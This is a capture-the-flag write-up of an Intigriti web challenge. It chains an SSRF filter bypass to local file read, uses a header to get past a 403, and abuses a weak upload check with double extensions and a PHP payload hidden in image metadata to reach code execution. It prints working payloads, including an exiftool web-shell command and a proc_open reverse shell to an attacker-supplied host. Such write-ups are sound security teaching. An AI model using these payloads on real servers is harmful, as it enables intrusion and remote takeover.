Intigriti Challenge 1025 : Exploiting SSRF and Upload Validation to Gain RCE
Summary: I solved the Intigriti October challenge by chaining an SSRF in challenge.php?url= to read internal files, discovered header check that protected the upload page, found an upload validation bypass using double extensions (poc.png.php) and image comment injection, and achieved RCE (via proc_open function) to read the final flag.
Flag: INTIGRITI{ngks896sdjvsjnv6383utbgn}
Recon & initial SSRF
The challenge’s SSRF was protected by weak validation that insisted on the presence of the substring http. Plain file:/// was rejected with “Invalid URL: must include 'http'”, but appending #http or ?http after the file:/// path caused the validator to accept the input while the server still fetched the file:// resource.
Example used to fetch the flag early on:
https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-9308-5a58548abd98.txt%23httpThat returned INTIGRITI{ngks896sdjvsjnv6383utbgn}. So even without RCE we could read required flag.
Finding upload page and bypassing 403
I enumerated /var/www/html/ via the LFR and discovered upload_shoppix_images.php.
Visiting it directly returned a 403.
I then read /etc/apache2/sites-enabled/000-default.conf and found:
///etc/apache2/sites-enabled/000-default.conf%23httpThis revealed the gate: the server allowed access only when is-shoppix-admin is set to true. So I re-requested /upload_shoppix_images.php through burp suite while ensuring the header is-shoppix-admin: true, and the 403 status is bypassed:
From the browser (I used match&replace rule in burp to add the required header):
Source review of upload_shoppix_images.php
Reading the upload_shoppix_images.php source showed the typical php upload flow.
<-- snip -->
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
}
}
?>
<-- snip -->The app checked:
mime_content_type($tmp)— required to start withimage/stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== falseis a substring check on the original filename
Crucially, the code trusted the original filename and only performed a substring check using stripos() function. It also used MIME detection but did not enforce server-side renaming or move files outside webroot, nor did it prevent execution of uploaded files.
Upload bypass and achieving RCE
- Image-content bypass: I embedded a small PHP snippet inside an image comment/metadata so the file’s MIME detection still reported
image/*(or the server accepted it based onmime_content_type). The upload logic accepted and stored the file under theuploads/. Using exiftool we can inject our php payload as a shell:
exiftool -Copyright="<?php system($_GET[1337]); ?>" poc.png2. Filename bypass: I uploaded the file whose original filename poc.png included an allowed image. then used burpsuite to change the filename to poc.png.php. The substring check passed because .png was present in the filename.
3. Execution: Accessing the uploaded file /uploads/poc.png.php executed the PHP. But error occured:
�PNG IHDR PX�"tEXtshell
Fatal error: Uncaught Error: Call to undefined function system() in /var/www/html/uploads/poc.png.php:6 Stack trace: #0 {main} thrown in /var/www/html/uploads/poc.png.php on line 6Many common exec wrappers were disabled (system, exec, shell_exec, popen, etc.) — verified via phpinfo() (which I read via upload and execute <?php phpinfo();?>).
Or by check the php configuration in /usr/local/etc/php/conf.d/99-custom.ini
///usr/local/etc/php/conf.d/99-custom.ini%23httpHowever, proc_open was not blocked. I used proc_open inside the uploaded PHP file to spawn a shell and forward its stdin/stdout/stderr to a network socket:
<?php $sock=fsockopen($_GET['h'],$_GET['p']);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>I then requested the uploaded file with my listener parameters:
https://challenge-1025.intigriti.io/uploads/poc.png.php?h=<host>&p=<port>NB: I initially retrieved the flag using SSRF/LFR https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http, but per the challenge rules the submission requires demonstrating RCE on the server, I therefore continued to fully chain to RCE to meet that requirement.
